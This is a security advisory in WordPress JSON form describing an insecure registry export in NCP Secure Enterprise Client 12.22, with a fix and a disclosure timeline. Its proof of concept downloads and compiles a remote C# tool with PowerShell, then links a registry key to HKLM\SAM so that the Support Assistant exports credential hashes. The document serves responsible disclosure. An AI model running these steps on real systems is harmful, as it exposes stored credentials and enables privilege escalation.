{"id":19562,"date":"2022-08-31T17:15:00","date_gmt":"2022-08-31T15:15:00","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=19562"},"modified":"2023-03-03T12:50:42","modified_gmt":"2023-03-03T11:50:42","slug":"usd-2022-0005","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2022-0005\/","title":{"rendered":"usd-2022-0005"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.17.1\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.17.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<h1>usd-2022-0005 | NCP Secure Enterprise Client - Insecure Registry Export<\/h1>\n<p><strong>Advisory ID:<\/strong> usd-2022-0005<br \/><strong>Product:<\/strong> NCP Secure Enterprise Client<br \/><strong>Affected Version:<\/strong> 12.22<br \/><strong>Vulnerability Type:<\/strong> Insecure Registry Export<br \/><strong>Security Risk:<\/strong> High<br \/><strong>Vendor URL:<\/strong> https:\/\/www.ncp-e.com\/<br \/><strong>Vendor Status:<\/strong> Fixed<\/p>\n<p>&nbsp;<\/p>\n<h3>Introduction<\/h3>\n<p>The <em>Windows Registry<\/em> is a central storage location for configuration settings on the <em>Windows<\/em> operating system. Data that is stored<br \/>within the <em>Windows Registry<\/em> is utilized by several different components, like desktop applications, services, device drivers and also<br \/>the kernel itself. Several locations within the <em>Windows Registry<\/em> are known to contain sensitive information. The probably most well<br \/>known example is the <strong>HKLM\\SAM<\/strong> hive, that stores hashed credentials of local user accounts.<\/p>\n<p>The <em>NCP Secure Enterprise<\/em> client is a <em>VPN<\/em> and networking application that is utilized by many organisations to connect workstations<br \/>to the cooperate network. The client supports a <em>Support Assistant<\/em> feature, which allows low privileged user accounts to obtain diagnostic<br \/>information from the operating system. Within this diagnostic information, the <em>NCP Secure Enterprise<\/em> client also exports information<br \/>from the <em>Windows Registry<\/em>. During this export, <em>Registry symbolic links<\/em> are followed and may allow to redirect the export to an arbitrary<br \/>location within the <em>Windows Registry<\/em>.<\/p>\n<p>For such an attack to work, a low privileged user accounts need to be able to create <em>Registry symbolic links<\/em> within the exported <em>Registry<br \/>keys<\/em>. In the case of the <em>NCP Secure Enterprise<\/em> client, this is possible, since the client exports all keys under <strong>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services*<em><br \/>recursively. On a default installation of <\/em>Windows<em>, this <\/em>Registry key<em> usually contains some keys where low privileged user accounts<br \/>can create <\/em>subkeys<em>. Newly created <\/em>subkeys<em> are owned by the creating user and it is possible to create <\/em>Registry symbolic links<em><br \/>within them that point to arbitrary <\/em>Registry<em> locations. Since the <\/em>symlink* originates from a trusted <\/strong>HKLM<em><em> hive, it is not restricted<br \/>by <\/em>Microsoft's<\/em> protection features for <em>Registry symbolic links<\/em>.<\/p>\n<h3>Proof of Concept<\/h3>\n<p>The first step is finding a <em>Registry key<\/em> within <strong>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services<\/strong> that is writable for low privileged<br \/>user accounts. Corresponding keys might vary for different installations, but on our test systems it was always possible to find at least<br \/>one such key. In the following we use the key <strong>HKLM\\System\\CurrentControlSet\\Services\\vds\\Alignment<\/strong> which seems to be available and allows<br \/>the creation of <em>subkeys<\/em> on most installations.<\/p>\n<p>Within this <em>Registry key<\/em> we now create a <em>symbolic link<\/em> pointing to <strong>HKLM\\SAM<\/strong><\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nb\" style=\"background: #263238;color: #82aaff\">PS <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">C<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:\\&gt;<\/span> <span class=\"nv\" style=\"background: #263238;color: #89ddff\">$code<\/span> <span class=\"p\" style=\"background: #263238;color: #89ddff\">=<\/span> <span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"nb\" style=\"background: #263238;color: #82aaff\">iwr <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">https<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:\/\/<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">raw<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">githubusercontent<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">com<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">usdAG<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">SharpLink<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">main<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">SharpLink<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">cs<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">).<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">content<\/span><br \/><span class=\"nb\" style=\"background: #263238;color: #82aaff\">PS <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">C<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:\\&gt;<\/span> <span class=\"nb\" style=\"background: #263238;color: #82aaff\">Add-Type<\/span> <span class=\"nv\" style=\"background: #263238;color: #89ddff\">$code<\/span><br \/><span class=\"nb\" style=\"background: #263238;color: #82aaff\">PS <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">C<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:\\&gt;<\/span> <span class=\"no\" style=\"background: #263238;color: #eff\">[de.usd.SharpLink.RegistryLink]<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">::<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">CreateKey<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"HKLM\\System\\CurrentControlSet\\Services\\vds\\Alignment\\SUB\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span><br \/><span class=\"p\" style=\"background: #263238;color: #89ddff\">[+]<\/span> <span class=\"n\" style=\"background: #263238;color: #eff\">Creating<\/span> <span class=\"n\" style=\"background: #263238;color: #eff\">registry<\/span> <span class=\"n\" style=\"background: #263238;color: #eff\">key<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"n\" style=\"background: #263238;color: #eff\">HKLM<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">\\<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">System<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">\\<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">CurrentControlSet<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">\\<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">Services<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">\\<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">vds<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">\\<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">Alignment<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">\\<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">SUB<\/span><br \/><span class=\"p\" style=\"background: #263238;color: #89ddff\">[+]<\/span> <span class=\"n\" style=\"background: #263238;color: #eff\">Registry<\/span> <span class=\"n\" style=\"background: #263238;color: #eff\">key<\/span> <span class=\"n\" style=\"background: #263238;color: #eff\">was<\/span> <span class=\"n\" style=\"background: #263238;color: #eff\">successfully<\/span> <span class=\"n\" style=\"background: #263238;color: #eff\">created<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><br \/><span class=\"nb\" style=\"background: #263238;color: #82aaff\">PS <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">C<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:\\&gt;<\/span> <span class=\"nv\" style=\"background: #263238;color: #89ddff\">$r<\/span> <span class=\"p\" style=\"background: #263238;color: #89ddff\">=<\/span> <span class=\"nb\" style=\"background: #263238;color: #82aaff\">New-Object<\/span> <span class=\"n\" style=\"background: #263238;color: #eff\">de<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">usd<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">SharpLink<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">RegistryLink<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"HKLM\\System\\CurrentControlSet\\Services\\vds\\Alignment\\SUB\\LINK\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span> <span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"HKLM\\SAM\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span><br \/><span class=\"nb\" style=\"background: #263238;color: #82aaff\">PS <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">C<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:\\&gt;<\/span> <span class=\"nv\" style=\"background: #263238;color: #89ddff\">$r<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">Open<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">()<\/span><br \/><span class=\"p\" style=\"background: #263238;color: #89ddff\">[+]<\/span> <span class=\"n\" style=\"background: #263238;color: #eff\">Creating<\/span> <span class=\"n\" style=\"background: #263238;color: #eff\">registry<\/span> <span class=\"n\" style=\"background: #263238;color: #eff\">key<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"p\" style=\"background: #263238;color: #89ddff\">\\<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">Registry<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">\\<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">Machine<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">\\<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">System<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">\\<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">CurrentControlSet<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">\\<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">Services<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">\\<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">vds<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">\\<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">Alignment<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">\\<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">SUB<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">\\<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">LINK<\/span><br \/><span class=\"p\" style=\"background: #263238;color: #89ddff\">[+]<\/span> <span class=\"n\" style=\"background: #263238;color: #eff\">Assigning<\/span> <span class=\"n\" style=\"background: #263238;color: #eff\">symlink<\/span> <span class=\"n\" style=\"background: #263238;color: #eff\">property<\/span> <span class=\"n\" style=\"background: #263238;color: #eff\">pointing<\/span> <span class=\"n\" style=\"background: #263238;color: #eff\">to<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"p\" style=\"background: #263238;color: #89ddff\">\\<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">Registry<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">\\<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">Machine<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">\\<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">SAM<\/span><br \/><span class=\"p\" style=\"background: #263238;color: #89ddff\">[+]<\/span> <span class=\"n\" style=\"background: #263238;color: #eff\">RegistryLink<\/span> <span class=\"n\" style=\"background: #263238;color: #eff\">setup<\/span> <span class=\"n\" style=\"background: #263238;color: #eff\">successful<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">!<\/span><\/pre>\n<\/div>\n<p>After the <em>Registry symbolic link<\/em> is setup, one can start the <em>Support Assistant<\/em> using the <em>NCP Secure Enterprise<\/em> client tray icon<br \/>(upper right inside the <em>Help<\/em> menu). After the <em>Support Assistant<\/em> was started, it collects support information from the operating system:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/06\/support-assistant-2.png\" width=\"882\" height=\"415\" alt=\"\" class=\"wp-image-18575 alignnone size-full\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/06\/support-assistant-2.png 882w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/06\/support-assistant-2-480x226.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 882px, 100vw\" \/><\/p>\n<p>The collected files can be viewed either from the <em>Support Assistant<\/em> directly or by inspecting them in <strong>C:\\Users\\\\AppData\\Local\\Temp\\NcpSupport**.<br \/>Within the <\/strong>Services.reg<strong> file, one can find the export of the <\/strong>HKLM\\SAM** hive:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/06\/sam-export.png\" width=\"1009\" height=\"533\" alt=\"\" class=\"wp-image-18573 alignnone size-full\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/06\/sam-export.png 1009w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/06\/sam-export-980x518.png 980w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/06\/sam-export-480x254.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1009px, 100vw\" \/><\/p>\n<h3>Fix<\/h3>\n<p>During the collection of support information from the operating system, the <em>NCP Secure Enterprise<\/em> client software should impersonate<br \/>the user that started the <em>Support Assistant<\/em>. This way, only information that the invoking user is allowed to read can be obtained.<\/p>\n<h3>References<\/h3>\n<ul>\n<li>https:\/\/www.ncp-e.com\/<\/li>\n<li>https:\/\/github.com\/usdAG\/SharpLink<\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2022-02-02<\/strong> First contact request via <a href=\"mailto:info-mv@ncp-e.com\">info-mv@ncp-e.com<\/a><\/li>\n<li>2022-02-02 Advisory transfered to the vendor<\/li>\n<li>2022-02-15 Vendor appreciates the submission of the advisories and begins to fix the identified vulnerabilities<\/li>\n<li>2022-06-09 Responsible Disclosure Team requests an update<\/li>\n<li>2022-06-21 Vendor annouces a new software release available in August<\/li>\n<li>2022-08-31 NCP Secure Enterprise Client 13.10 is released<\/li>\n<li>2023-03-03 This advisory is published<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>These security vulnerabilities were found by Tobias Neitzel.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2022-0005 | NCP Secure Enterprise Client - Insecure Registry Export Advisory ID: usd-2022-0005Product: NCP Secure Enterprise ClientAffected Version: 12.22Vulnerability Type: Insecure Registry ExportSecurity Risk: HighVendor URL: https:\/\/www.ncp-e.com\/Vendor Status: Fixed &nbsp; Introduction The Windows Registry is a central storage location for configuration settings on the Windows operating system. Data that is storedwithin the Windows Registry is [&hellip;]<\/p>\n","protected":false},"author":109,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-19562","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/19562","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/109"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=19562"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/19562\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=19562"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}